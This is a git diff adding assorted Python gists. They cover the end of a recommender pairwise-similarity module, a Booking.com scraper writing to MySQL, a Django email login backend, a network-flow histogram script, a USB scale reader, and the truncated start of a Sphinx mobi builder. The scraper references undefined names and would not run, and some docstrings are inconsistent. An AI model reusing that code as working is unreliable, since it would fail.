+    # values in a single pass over the output matrix.
+    distances = safe_sparse_dot(X, Y.T, dense_output=True)
+    distances *= -2
+    distances += XX
+    distances += YY
+    np.maximum(distances, 0, distances)
+
+    if X is Y:
+        # Ensure that distances between vectors and themselves are set to 0.0.
+        # This may not be the case due to floating point rounding errors.
+        distances.flat[::distances.shape[0] + 1] = 0.0
+
+    distances = np.divide(1.0, (1.0 + distances)) if inverse else distances
+
+    return distances if squared else np.sqrt(distances)
+
+
+euclidian_distances = euclidean_distances  # both spelling for backward compatibility
+
+
+def manhattan_distances(X, Y):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+    This distance implementation is the distance between two points in a grid
+    based on a strictly horizontal and/or vertical path (that is, along the
+    grid lines as opposed to the diagonal or "as the crow flies" distance.
+    The Manhattan distance is the simple sum of the horizontal and vertical
+    components, whereas the diagonal distance might be computed by applying the
+    Pythagorean theorem.
+
+    Parameters
+    ----------
+    X: array of shape (n_samples_1, n_features)
+
+    Y: array of shape (n_samples_2, n_features)
+
+    Returns
+    -------
+    distances: array of shape (n_samples_1, n_samples_2)
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise  import manhattan_distances
+    >>> X = [[2.5, 3.5, 3.0, 3.5, 2.5, 3.0],[2.5, 3.5, 3.0, 3.5, 2.5, 3.0]]
+    >>> # distance between rows of X
+    >>> manhattan_distances(X, X)
+    array([[ 1.,  1.],
+           [ 1.,  1.]])
+    >>> manhattan_distances(X, [[3.0, 3.5, 1.5, 5.0, 3.5,3.0]])
+    array([[ 0.25],
+          [ 0.25]])
+    """
+
+    if issparse(X) or issparse(Y):
+        raise ValueError("manhattan_distance does"
+                         "not support sparse matrices.")
+    X, Y = check_pairwise_arrays(X, Y)
+    n_samples_X, n_features_X = X.shape
+    n_samples_Y, n_features_Y = Y.shape
+    if n_features_X != n_features_Y:
+        raise Exception("X and Y should have the same number of features!")
+    D = np.abs(X[:, np.newaxis, :] - Y[np.newaxis, :, :])
+    D = np.sum(D, axis=2)
+
+    return 1.0 - (D / float(n_features_X))
+
+
+def pearson_correlation(X, Y):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+    This correlation implementation is equivalent to the cosine similarity
+    since the data it receives is assumed to be centered -- mean is 0. The
+    correlation may be interpreted as the cosine of the angle between the two
+    vectors defined by the users' preference values.
+
+    Parameters
+    ----------
+    X : {array-like, sparse matrix}, shape = [n_samples_1, n_features]
+
+    Y : {array-like, sparse matrix}, shape = [n_samples_2, n_features]
+
+    Returns
+    -------
+    distances : {array, sparse matrix}, shape = [n_samples_1, n_samples_2]
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise import adjusted_cosine
+    >>> X = [[2.5, 3.5, 3.0, 3.5, 2.5, 3.0],[2.5, 3.5, 3.0, 3.5, 2.5, 3.0]]
+    >>> # distance between rows of X
+    >>> pearson_correlation(X, X)
+    array([[ 1., 1.],
+           [ 1., 1.]])
+    >>> pearson_correlation(X, [[3.0, 3.5, 1.5, 5.0, 3.5,3.0]])
+    array([[ 0.39605902],
+               [ 0.39605902]])
+    """
+
+    X, Y = check_pairwise_arrays(X, Y)
+
+    # should not need X_norm_squared because if you could precompute that as
+    # well as Y, then you should just pre-compute the output and not even
+    # call this function.
+
+    #TODO: Fix to work with sparse matrices.
+    if issparse(X) or issparse(Y):
+        raise ValueError('Pearson does not yet support sparse matrices.')
+
+    if X is Y:
+        X = Y = np.asanyarray(X)
+    else:
+        X = np.asanyarray(X)
+        Y = np.asanyarray(Y)
+
+    if X.shape[1] != Y.shape[1]:
+        raise ValueError("Incompatible dimension for X and Y matrices")
+
+    XY = ssd.cdist(X, Y, 'correlation')
+
+    return 1 - XY
+
+
+def adjusted_cosine(X, Y, N):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors after normalize or adjust
+    the vector using the N vector. N vector contains the mean of the values
+    of each feature vector from X and Y.
+
+    This correlation implementation is equivalent to the cosine similarity
+    since the data it receives is assumed to be centered -- mean is 0. The
+    correlation may be interpreted as the cosine of the angle between the two
+    vectors defined by the users' preference values.
+
+    Parameters
+    ----------
+    X : {array-like, sparse matrix}, shape = [n_samples_1, n_features]
+
+    Y : {array-like, sparse matrix}, shape = [n_samples_2, n_features]
+
+    N: {array-like, sparse matrix}, shape = [n_samples_3, n_features]
+
+    Returns
+    -------
+    distances : {array, sparse matrix}, shape = [n_samples_1, n_samples_2]
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise import adjusted_cosine
+    >>> X = [[1.0, 5.0, 4.0]]
+    >>> Y = [[2.0, 5.0, 5.0]]
+    >>> N = [[3.0, 3.5, 4.0]]
+    >>> # distance between rows of X
+    >>> adjusted_cosine(X, X, N)
+    array([[ 1.]])
+    >>> adjusted_cosine(X, Y, N)
+    array([[ 0.82462113]])
+    """
+
+    X, Y = check_pairwise_arrays(X, Y)
+    #TODO: fix next line
+    N, _ = check_pairwise_arrays(N, None)
+
+    # should not need X_norm_squared because if you could precompute that as
+    # well as Y, then you should just pre-compute the output and not even
+    # call this function.
+
+    #TODO: Fix to work with sparse matrices.
+    if issparse(X) or issparse(Y) or issparse(N):
+        raise ValueError('Adjusted cosine does not yet support sparse matrices.')
+
+    if X is Y:
+        X = Y = np.asanyarray(X)
+    else:
+        X = np.asanyarray(X)
+        Y = np.asanyarray(Y)
+
+    if X.shape[1] != Y.shape[1] != N.shape[1]:
+        raise ValueError("Incompatible dimension for X, Y and N matrices")
+
+    X = X - N
+    Y = Y - N
+
+    XY = 1 - ssd.cdist(X, Y, 'cosine')
+
+    return XY
+
+
+def jaccard_coefficient(X, Y):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+    This correlation implementation is a statistic used for comparing the
+    similarity and diversity of sample sets.
+    The Jaccard coefficient measures similarity between sample sets,
+    and is defined as the size of the intersection divided by the size of the
+    union of the sample sets.
+
+    Parameters
+    ----------
+    X: array of shape (n_samples_1, n_features)
+
+    Y: array of shape (n_samples_2, n_features)
+
+    Returns
+    -------
+    distances: array of shape (n_samples_1, n_samples_2)
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise import jaccard_coefficient
+    >>> X = [['a', 'b', 'c', 'd'],['e', 'f','g']]
+    >>> # distance between rows of X
+    >>> jaccard_coefficient(X, X)
+    array([[ 1.,  0.],
+           [ 0.,  1.]])
+
+    >>> jaccard_coefficient(X, [['a', 'b', 'c', 'k']])
+    array([[ 0.6],
+           [ 0. ]])
+    """
+
+    X = safe_asarray(X)
+    Y = safe_asarray(Y)
+
+    #TODO: Fix to work with sparse matrices.
+    if issparse(X) or issparse(Y):
+        raise ValueError('Jaccard does not yet support sparse matrices.')
+
+    #TODO: Check if it is possible to optimize this function
+    sX = X.shape[0]
+    sY = Y.shape[0]
+    dm = np.zeros((sX, sY))
+    for i in xrange(0, sX):
+        for j in xrange(0, sY):
+            sx = set(X[i])
+            sy = set(Y[j])
+            n_XY = len(sx & sy)
+            d_XY = len(sx | sy)
+            dm[i, j] = n_XY / float(d_XY)
+    return dm
+
+
+def tanimoto_coefficient(X, Y):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+    An implementation of a "similarity" based on the Tanimoto coefficient,
+    or extended Jaccard coefficient.
+
+    This is intended for "binary" data sets where a user either expresses a
+    generic "yes" preference for an item or has no preference. The actual
+    preference values do not matter here, only their presence or absence.
+
+    Parameters
+    ----------
+    X: array of shape n_samples_1
+
+    Y: array of shape n_samples_2
+
+    Returns
+    -------
+    distances: array of shape (n_samples_1, n_samples_2)
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise  import tanimoto_coefficient
+    >>> X =  [['a', 'b', 'c', 'd'],['e', 'f','g']]
+    >>> # distance between rows of X
+    >>> tanimoto_coefficient(X, X)
+    array([[ 1.,  0.],
+           [ 0.,  1.]])
+    >>> tanimoto_coefficient(X, [['a', 'b', 'c', 'k']])
+    array([[ 0.6],
+           [ 0. ]])
+
+    """
+    return jaccard_coefficient(X, Y)
+
+
+def cosine_distances(X, Y):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+     An implementation of the cosine similarity. The result is the cosine of
+     the angle formed between the two preference vectors.
+     Note that this similarity does not "center" its data, shifts the user's
+     preference values so that each of their means is 0. For this behavior,
+     use Pearson Coefficient, which actually is mathematically
+     equivalent for centered data.
+
+    Parameters
+    ----------
+    X: array of shape (n_samples_1, n_features)
+
+    Y: array of shape (n_samples_2, n_features)
+
+    Returns
+    -------
+    distances: array of shape (n_samples_1, n_samples_2)
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise  import cosine_distances
+    >>> X = [[2.5, 3.5, 3.0, 3.5, 2.5, 3.0],[2.5, 3.5, 3.0, 3.5, 2.5, 3.0]]
+    >>> # distance between rows of X
+    >>> cosine_distances(X, X)
+    array([[ 1.,  1.],
+          [ 1.,  1.]])
+    >>> cosine_distances(X, [[3.0, 3.5, 1.5, 5.0, 3.5,3.0]])
+    array([[ 0.9606463],
+           [ 0.9606463]])
+
+    """
+    X, Y = check_pairwise_arrays(X, Y)
+
+    #TODO: Fix to work with sparse matrices.
+    if issparse(X) or issparse(Y):
+        raise ValueError('Cosine does not yet support sparse matrices.')
+
+    return 1. - ssd.cdist(X, Y, 'cosine')
+
+
+def sorensen_coefficient(X, Y):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+    The Sørensen index, also known as Sørensen’s similarity coefficient,
+    is a statistic used for comparing the similarity of two samples.
+    It was developed by the botanist Thorvald Sørensen and published in 1948.
+    [1]
+    See the link:http://en.wikipedia.org/wiki/S%C3%B8rensen_similarity_index
+
+    This is intended for "binary" data sets where a user either expresses a
+    generic "yes" preference for an item or has no preference. The actual
+    preference values do not matter here, only their presence or absence.
+
+    Parameters
+    ----------
+    X: array of shape (n_samples_1, n_features)
+
+    Y: array of shape (n_samples_2, n_features)
+
+    Returns
+    -------
+    distances: array of shape (n_samples_1, n_samples_2)
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise import sorensen_coefficient
+    >>> X = [['a', 'b', 'c', 'd'],['e', 'f','g']]
+    >>> # distance between rows of X
+    >>> sorensen_coefficient(X, X)
+    array([[ 1.,  0.],
+          [ 0.,  1.]])
+    >>> sorensen_coefficient(X, [['a', 'b', 'c', 'k']])
+    array([[ 0.75], [ 0.  ]])
+
+    """
+    # should not need X_norm_squared because if you could precompute that as
+    # well as Y, then you should just pre-compute the output and not even
+    # call this function.
+    if X is Y:
+        X = Y = np.asanyarray(X)
+    else:
+        X = np.asanyarray(X)
+        Y = np.asanyarray(Y)
+
+    sX = X.shape[0]
+    sY = Y.shape[0]
+    dm = np.zeros((sX, sY))
+
+    #TODO: Check if it is possible to optimize this function
+    for i in xrange(0, sX):
+        for j in xrange(0, sY):
+            sx = set(X[i])
+            sy = set(Y[j])
+            n_XY = len(sx & sy)
+            dm[i, j] = (2.0 * n_XY) / (len(X[i]) + len(Y[j]))
+
+    return dm
+
+
+def _spearman_r(X, Y):
+    """
+    Calculates a Spearman rank-order correlation coefficient
+    and the p-value to test for non-correlation.
+    """
+    rho, p_value = spearman(X, Y)
+    return rho
+
+
+def spearman_coefficient(X, Y):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+    Like  Pearson Coefficient , but compares relative ranking of preference
+    values instead of preference values themselves. That is, each user's
+    preferences are sorted and then assign a rank as their preference value,
+    with 1 being assigned to the least preferred item.
+
+    Parameters
+    ----------
+    X: array of shape (n_samples_1, n_features)
+
+    Y: array of shape (n_samples_2, n_features)
+
+    Returns
+    -------
+    distances: array of shape (n_samples_1, n_samples_2)
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise  import spearman_coefficient
+    >>> X = [[('a',2.5),('b', 3.5), ('c',3.0), ('d',3.5)], \
+            [('e', 2.5),('f', 3.0), ('g', 2.5), ('h', 4.0)] ]
+    >>> # distance between rows of X
+    >>> spearman_coefficient(X, X)
+    array([[ 1.,  0.],
+           [ 0.,  1.]])
+    >>> spearman_coefficient(X, [[('a',2.5),('b', 3.5), ('c',3.0), ('k',3.5)]])
+    array([[ 1.],
+           [ 0.]])
+    """
+    # should not need X_norm_squared because if you could precompute that as
+    # well as Y, then you should just pre-compute the output and not even
+    # call this function.
+    if X is Y:
+        X = Y = np.asanyarray(X, dtype=[('x', 'S30'), ('y', float)])
+    else:
+        X = np.asanyarray(X, dtype=[('x', 'S30'), ('y', float)])
+        Y = np.asanyarray(Y, dtype=[('x', 'S30'), ('y', float)])
+
+    if X.shape[1] != Y.shape[1]:
+        raise ValueError("Incompatible dimension for X and Y matrices")
+
+    X.sort(order='y')
+    Y.sort(order='y')
+
+    result = []
+
+    #TODO: Check if it is possible to optimize this function
+    i = 0
+    for arrayX in X:
+        result.append([])
+        for arrayY in Y:
+            Y_keys = [key for key, value in arrayY]
+
+            XY = [(key, value) for key, value in arrayX if key in Y_keys]
+
+            sumDiffSq = 0.0
+            for index, tup in enumerate(XY):
+                sumDiffSq += pow((index + 1) - (Y_keys.index(tup[0]) + 1), 2.0)
+
+            n = len(XY)
+            if n == 0:
+                result[i].append(0.0)
+            else:
+                result[i].append(1.0 - ((6.0 * sumDiffSq) / (n * (n * n - 1))))
+        result[i] = np.asanyarray(result[i])
+        i += 1
+
+    return np.asanyarray(result)
+
+
+def loglikehood_coefficient(n_items, X, Y):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+    Parameters
+    ----------
+    n_items: int
+        Number of items in the model.
+
+    X: array of shape (n_samples_1, n_features)
+
+    Y: array of shape (n_samples_2, n_features)
+
+    Returns
+    -------
+    distances: array of shape (n_samples_1, n_samples_2)
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise import loglikehood_coefficient
+    >>> X = [['a', 'b', 'c', 'd'],  ['e', 'f','g', 'h']]
+    >>> # distance between rows of X
+    >>> n_items = 7
+    >>> loglikehood_coefficient(n_items,X, X)
+    array([[ 1.,  0.],
+          [ 0.,  1.]])
+    >>> n_items = 8
+    >>> loglikehood_coefficient(n_items, X, [['a', 'b', 'c', 'k']])
+    array([[ 0.67668852],
+          [ 0.        ]])
+
+
+    References
+    ----------
+    See http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.14.5962 and
+    http://tdunning.blogspot.com/2008/03/surprise-and-coincidence.html.
+    """
+    # should not need X_norm_squared because if you could precompute that as
+    # well as Y, then you should just pre-compute the output and not even
+    # call this function.
+
+    def safeLog(d):
+        if d <= 0.0:
+            return 0.0
+        else:
+            return np.log(d)
+
+    def logL(p, k, n):
+        return k * safeLog(p) + (n - k) * safeLog(1.0 - p)
+
+    def twoLogLambda(k1, k2, n1, n2):
+        p = (k1 + k2) / (n1 + n2)
+        return 2.0 * (logL(k1 / n1, k1, n1) + logL(k2 / n2, k2, n2)
+                      - logL(p, k1, n1) - logL(p, k2, n2))
+
+    if X is Y:
+        X = Y = np.asanyarray(X)
+    else:
+        X = np.asanyarray(X)
+        Y = np.asanyarray(Y)
+
+    result = []
+
+    # TODO: Check if it is possible to optimize this function
+
+    i = 0
+    for arrayX in X:
+        result.append([])
+        for arrayY in Y:
+            XY = np.intersect1d(arrayX, arrayY)
+
+            if XY.size == 0:
+                result[i].append(0.0)
+            else:
+                nX = arrayX.size
+                nY = arrayY.size
+                if (nX - XY.size == 0) or (n_items - nY) == 0:
+                    result[i].append(1.0)
+                else:
+                    logLikelihood = twoLogLambda(float(XY.size),
+                                                 float(nX - XY.size),
+                                                 float(nY),
+                                                 float(n_items - nY))
+
+                    result[i].append(1.0 - 1.0 / (1.0 + float(logLikelihood)))
+        result[i] = np.asanyarray(result[i])
+        i += 1
+
+    return np.asanyarray(result)
diff --git a/hard-gists/5860168615a35b5b5ef69710d61f02d4/._snippet.py b/hard-gists/5860168615a35b5b5ef69710d61f02d4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5860168615a35b5b5ef69710d61f02d4/._snippet.py differ
diff --git a/hard-gists/5860168615a35b5b5ef69710d61f02d4/snippet.py b/hard-gists/5860168615a35b5b5ef69710d61f02d4/snippet.py
new file mode 100644
index 00000000..ceba70a4
--- /dev/null
+++ b/hard-gists/5860168615a35b5b5ef69710d61f02d4/snippet.py
@@ -0,0 +1,97 @@
+
+###Imported Required Libraries
+import requests, bs4
+import webbrowser
+import sqlalchemy
+import unicodedata
+from sqlalchemy import create_engine
+from sqlalchemy import MetaData, Column, Table, ForeignKey
+from sqlalchemy import Integer, String
+import mysql.connector
+from mysql.connector import Error
+
+engine = create_engine('mysql://username:<password>@<host>/<dbname>')
+
+###Scraping Data From Booking.com
+head = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36"}
+
+url = "http://www.booking.com/searchresults.en-gb.html?dcid=4&label=gen173nr-1FCAEoggJCAlhYSDNiBW5vcmVmaGyIAQGYAS64AQjIAQzYAQHoAQH4AQuoAgM&lang=en-gb&sid=c24fad210186ae699e89a0d3cab10039&sb=1&src=index&src_elem=sb&error_url=http%3A%2F%2Fwww.booking.com%2Findex.en-gb.html%3Flabel%3Dgen173nr-1FCAEoggJCAlhYSDNiBW5vcmVmaGyIAQGYAS64AQjIAQzYAQHoAQH4AQuoAgM%3Bsid%3Dc24fad210186ae699e89a0d3cab10039%3Bdcid%3D4%3Bsb_price_type%3Dtotal%26%3B&prefill_submitted=1&ss=Kolkata%2C+India&ssne=Kolkata%2C+India&ssne_untouched=Kolkata%2C+India&dest_id=-2092511&dest_type=city&checkin_monthday=30&checkin_year_month=2016-6&checkout_monthday=1&checkout_year_month=2016-7&sb_travel_purpose=leisure&room1=A%2CA&no_rooms=1&group_adults=2&group_children=0"
+
+res = requests.get(url, headers=head)
+
+soup = BeautifulSoup(res.text,"html.parser")
+
+hotels = soup.select("#hotellist_inner div.sr_item.sr_item_new")
+details = []
+for hotel in hotels:
+     name = hotel.select("span.sr-hotel__name")
+     score = hotel.select("span.average.js--hp-scorecard-scoreval")
+     price = hotel.select("table div.sr-prc--num.sr-prc--final")
+     for i in range(0,len(name)):
+         #print name[i]
+         #print type(name[i].getText().encode("ascii", "ignore"))
+         details.append(name[i].getText().encode("ascii", "ignore"))
+         #print score[i].getText()
+         details.append(score[i].getText().encode("ascii", "ignore"))
+     for i in range(0,len(price)):
+         #print price[i].getText()
+         details.append(price[i].getText().encode("ascii", "ignore"))
+for j in range(0,len(details)):         
+         print details[j]
+###Initiating MySQL DB COnnection on Local Machine
+def connect():
+    try:
+        conn = mysql.connector.connect(host='localhost',
+        database='python_mysql',
+        user='root',
+        password='secret')
+        if conn.is_connected():
+            print('Connected to MySQL database')
+    
+    except Error as e:
+        print(e)
+    
+    finally:
+        conn.close()
+    if name == 'main':
+        connect()
+
+###Creating Table on Local Machine
+
+hotel_table = Table('Hotels', metadata,
+Column('Hotelname', String),
+Column('Hotelrating', String),)
+
+
+metadata.create_all()
+
+ins = hotel_table.insert()
+for i in range(0,10):
+    name[i].encode('ascii','ignore')
+    rating[i].encode('ascii','ignore')
+
+params = [(name[i], rating[i]) for i in range(10)]
+
+###Inserting Data into MySQL Table 
+def insert_hotels(params):
+    query = "INSERT INTO hotel_table(hotel_name,hotel_rating) VALUES(%s,%s)"
+
+try:
+    db_config = read_db_config()
+    conn = MySQLConnection(**db_config)
+
+    cursor = conn.cursor()
+    cursor.executemany(query, params)
+
+    conn.commit()
+except Error as e:
+    print('Error:', e)
+
+finally:
+    cursor.close()
+    conn.close()
+def main():
+    insert_hotels(params)
+
+if name == 'main':
+    main()
\ No newline at end of file
diff --git a/hard-gists/586056/._snippet.py b/hard-gists/586056/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/586056/._snippet.py differ
diff --git a/hard-gists/586056/snippet.py b/hard-gists/586056/snippet.py
new file mode 100644
index 00000000..af5b7f5f
--- /dev/null
+++ b/hard-gists/586056/snippet.py
@@ -0,0 +1,16 @@
+from django.contrib.auth.backends import ModelBackend
+from django.contrib.auth.models import User  
+
+class EmailBackend(ModelBackend):
+    
+    def authenticate(self, **credentials):
+        if 'username' in credentials:
+            return super(EmailBackend, self).authenticate(**credentials)
+        
+        try:
+            user = User.objects.get(email=credentials.get('email'))
+            if user.check_password(credentials.get('password')):
+                return user
+        except User.DoesNotExist:
+            return None
+
diff --git a/hard-gists/5860853/._snippet.py b/hard-gists/5860853/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5860853/._snippet.py differ
diff --git a/hard-gists/5860853/snippet.py b/hard-gists/5860853/snippet.py
new file mode 100644
index 00000000..55c04d06
--- /dev/null
+++ b/hard-gists/5860853/snippet.py
@@ -0,0 +1,114 @@
+#!/usr/bin/env python
+import sys, traceback, scipy, numpy
+from matplotlib import pyplot
+from scipy.stats.mstats import mquantiles
+
+def HistogramImage(data):
+        print 'entered HistogramImage'
+        #http://www.saltycrane.com/blog/2011/12/creating-histogram-plot-python/
+        x = [int(dbyte[0]) for dbyte in data]
+
+        binsize = 100
+        totalrangeofhisto = 20000
+        bins = [i * binsize for i in range(totalrangeofhisto/binsize)]
+
+        pyplot.hist(x, bins=bins, facecolor='green', alpha=0.75)
+        pyplot.xlabel('dbytes')
+        pyplot.ylabel('Count')
+        pyplot.suptitle(r'histogram of dbytes')
+        pyplot.title(r'distribution for matt->smarsh')
+        pyplot.grid(True)
+        filename='histo.png'
+        try:
+                pyplot.savefig(filename)
+                print 'saved to %s' %filename
+        except:
+                print 'unable to save to %s' %filename
+
+def FindQuantile(data,findme):
+        print 'entered FindQuantile'
+        probset=[]
+        #cheap hack to make a quick list to get quantiles for each permille value]
+        for i in numpy.linspace(0,1,10000):
+                probset.append(i)
+
+        	#http://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.mstats.mquantiles.html
+        quantile_results = mquantiles(data,prob=probset)
+        #see: http://stackoverflow.com/q/17330252/
+        quantiles = []
+        i = 0
+        for value in quantile_results:
+                print str(i) +  ' permille ' + str(value)
+                quantiles.append(value)
+                i = i+1
+        #goal is to figure out which quantile findme falls in:
+        i = 0
+        for quantile in quantiles:
+                if (findme > quantile):
+                        print str(quantile) + ' is too small for ' + str(findme)
+                else:
+                        print str(quantile) + ' is the quantile value for the ' + str(i) + '-' + str(i + 1) + ' per mille quantile range. ' + str(findme) + ' falls within this range.'
+                        break
+                i = i + 1
+
+
+if __name__ == "__main__":
+        import MySQLdb
+
+        #http://www.tutorialspoint.com/python/python_database_access.htm
+        #http://www.packtpub.com/article/exception-handling-mysql-python
+
+        db = MySQLdb.connect("localhost","argus","db_password","argus" )
+        cursor = db.cursor()
+
+        sql = "SELECT dbytes FROM argus.argusTable_2013_06_24 where (saddr = '192.168.100.23' or daddr = '192.168.100.23') and daddr = '173.252.110.27' and proto = 'tcp' and dport = '443';"
+
+        try:
+                cursor.execute(sql)
+                results = cursor.fetchall()
+                lresults = list(results)
+        except MySQLdb.Error, e:
+                print "Error: %s" %e
+                exit()
+
+        db.close()
+
+        dbytes = []
+        for row in results:
+                dbytes.append(int(row[0]))
+
+        for dbyte in sorted(dbytes):
+                print dbyte
+
+        try:
+                dothis = raw_input("What would you like to do? h = histogram, q = quantile ")
+                if (len(dothis) == 0):
+                        exit()
+                elif (dothis == 'h'):
+                        print 'calling HistogramImage'
+                        HistogramImage(results)
+                elif (dothis == 'q'):
+                        andthis = raw_input('What X would you like to find the quantile for? ')
+                        print 'finding Quantile for %s' %andthis
+                        FindQuantile(sorted(lresults), float(andthis))
+        except:
+                exc_type, exc_value, exc_traceback = sys.exc_info()
+                print "*** print_tb:"
+                traceback.print_tb(exc_traceback, limit=1, file=sys.stdout)
+                print "*** print_exception:"
+                traceback.print_exception(exc_type, exc_value, exc_traceback, limit=2, file=sys.stdout)
+                print "*** print_exc:"
+                traceback.print_exc()
+                print "*** format_exc, first and last line:"
+                formatted_lines = traceback.format_exc().splitlines()
+                print formatted_lines[0]
+                print formatted_lines[-1]
+                print "*** format_exception:"
+                print repr(traceback.format_exception(exc_type, exc_value, exc_traceback))
+                print "*** extract_tb:"
+                print repr(traceback.extract_tb(exc_traceback))
+                print "*** format_tb:"
+                print repr(traceback.format_tb(exc_traceback))
+                print "*** tb_lineno:", exc_traceback.tb_lineno
+                print 'exiting'
+                exit()
diff --git a/hard-gists/5862530/._snippet.py b/hard-gists/5862530/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5862530/._snippet.py differ
diff --git a/hard-gists/5862530/snippet.py b/hard-gists/5862530/snippet.py
new file mode 100644
index 00000000..c5857e15
--- /dev/null
+++ b/hard-gists/5862530/snippet.py
@@ -0,0 +1,140 @@
+#!/usr/bin/python
+import os, time
+import usb.core
+import usb.util
+import pygtk
+pygtk.require('2.0')
+import gtk
+from sys import exit
+import math
+
+# DYMO M25
+VENDOR_ID = 0x0922
+PRODUCT_ID = 0x8004
+
+# USPS 75lb scale (doesn't work yet...)
+#VENDOR_ID = 0x04d9
+#PRODUCT_ID = 0x8010
+
+# find the USB device
+dev = usb.core.find(idVendor=VENDOR_ID,
+                       idProduct=PRODUCT_ID)
+
+def main():
+    try:
+        # was it found?
+        if dev is None:
+            print "device not found"
+            exit()
+        else:
+            devmanufacturer = usb.util.get_string(dev, 256, 1)
+            devname = usb.util.get_string(dev, 256, 2)
+            print "device found: " + devmanufacturer + " " + devname
+
+            interface = 0
+            if dev.is_kernel_driver_active(interface) is True:
+                print "but we need to detach kernel driver"
+                dev.detach_kernel_driver(interface)
+
+                # use the first/default configuration
+                dev.set_configuration()
+                print "claiming device"
+                usb.util.claim_interface(dev, interface)
+
+                # XXX would be good to release it when we're done:
+                # 
+                # print "release claimed interface"
+                # usb.util.release_interface(dev, interface)
+                # print "now attaching the kernel driver again"
+                # dev.attach_kernel_driver(interface)
+                # print "all done"
+
+            listen()
+
+    except KeyboardInterrupt as e: 
+        print "\nquitting"
+        exit();
+
+
+def grab():
+    try:
+        # first endpoint
+        endpoint = dev[0][(0,0)][0]
+
+        # read a data packet
+        attempts = 10
+        data = None
+        while data is None and attempts > 0:
+            try:
+                data = dev.read(endpoint.bEndpointAddress,
+                                   endpoint.wMaxPacketSize)
+            except usb.core.USBError as e:
+                data = None
+                if e.args == ('Operation timed out',):
+                    attempts -= 1
+                    print "timed out... trying again"
+                    continue
+
+        return data
+    except usb.core.USBError as e:
+        print "USBError: " + str(e.args)
+    except IndexError as e:
+        print "IndexError: " + str(e.args)
+
+
+def listen():
+    DATA_MODE_GRAMS = 2
+    DATA_MODE_OUNCES = 11
+
+    last_raw_weight = 0
+    last_raw_weight_stable = 4
+
+    print "listening for weight..."
+
+    while True:
+        time.sleep(.5)
+
+        weight = 0
+        print_weight = ""
+
+        data = grab()
+        if data != None:
+            raw_weight = data[4] + data[5] * 256
+
+        # +/- 2g
+        if raw_weight > 0 and abs(raw_weight-last_raw_weight) > 0 and raw_weight != last_raw_weight:
+            last_raw_weight_stable = 4
+            last_raw_weight = raw_weight
+
+        if raw_weight > 0 and last_raw_weight_stable >= 0:
+            last_raw_weight_stable -= 1
+
+        if raw_weight > 0 and last_raw_weight_stable == 0:
+            if data[2] == DATA_MODE_OUNCES:
+                ounces = raw_weight * 0.1
+                weight = math.ceil(ounces)
+                print_weight = "%s oz" % ounces
+            elif data[2] == DATA_MODE_GRAMS:
+                grams = raw_weight
+                weight = math.ceil(grams)
+                print_weight = "%s g" % grams
+
+            print "stable weight: " + print_weight
+
+            clipboard = gtk.clipboard_get()
+            clipboard.set_text(str(weight))
+            clipboard.store()
+
+
+def probe():
+    for cfg in dev:
+        print "cfg: " + str(cfg.bConfigurationValue)
+        print "descriptor: " + str(usb.util.find_descriptor(cfg, find_all=True, bInterfaceNumber=1))
+        for intf in cfg:
+            print "interfacenumber, alternatesetting: " + str(intf.bInterfaceNumber) + ',' + str(intf.bAlternateSetting)
+            for ep in intf:
+                print "endpointaddress: " + str(ep.bEndpointAddress)
+
+
+#probe()
+main()
\ No newline at end of file
diff --git a/hard-gists/5866756/._snippet.py b/hard-gists/5866756/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5866756/._snippet.py differ
diff --git a/hard-gists/5866756/snippet.py b/hard-gists/5866756/snippet.py
new file mode 100644
index 00000000..27541d43
--- /dev/null
+++ b/hard-gists/5866756/snippet.py
@@ -0,0 +1,586 @@
+# -*- coding: utf-8 -*-
+"""
+    sphinx.builders.mobi
+    ~~~~~~~~~~~~~~~~~~~~
+
+    Build mobi files.
+    Originally derived from epub.py.
+
+    :copyright: Copyright 2007-2011 by the Sphinx team, see AUTHORS.
+    :license: BSD, see LICENSE for details.
+"""
+
+import os
+import re
+import shutil
+import sys
+import time
+import codecs
+import zipfile
+import subprocess
+from os import path
+
+from docutils import nodes
+
+from sphinx import addnodes
+from sphinx.builders.html import StandaloneHTMLBuilder
+from sphinx.util.osutil import EEXIST, make_filename
+from sphinx.util.smartypants import sphinx_smarty_pants as ssp
+
+
+# (Fragment) templates from which the metainfo files content.opf, toc.ncx,
+# mimetype, and META-INF/container.xml are created.
+# This template section also defines strings that are embedded in the html
+# output but that may be customized by (re-)setting module attributes,
+# e.g. from conf.py.
+
+_mimetype_template = 'application/x-mobipocket-ebook' # no EOL!
+
+_container_template = u'''\
+<?xml version="1.0" encoding="UTF-8"?>
+<container version="1.0"
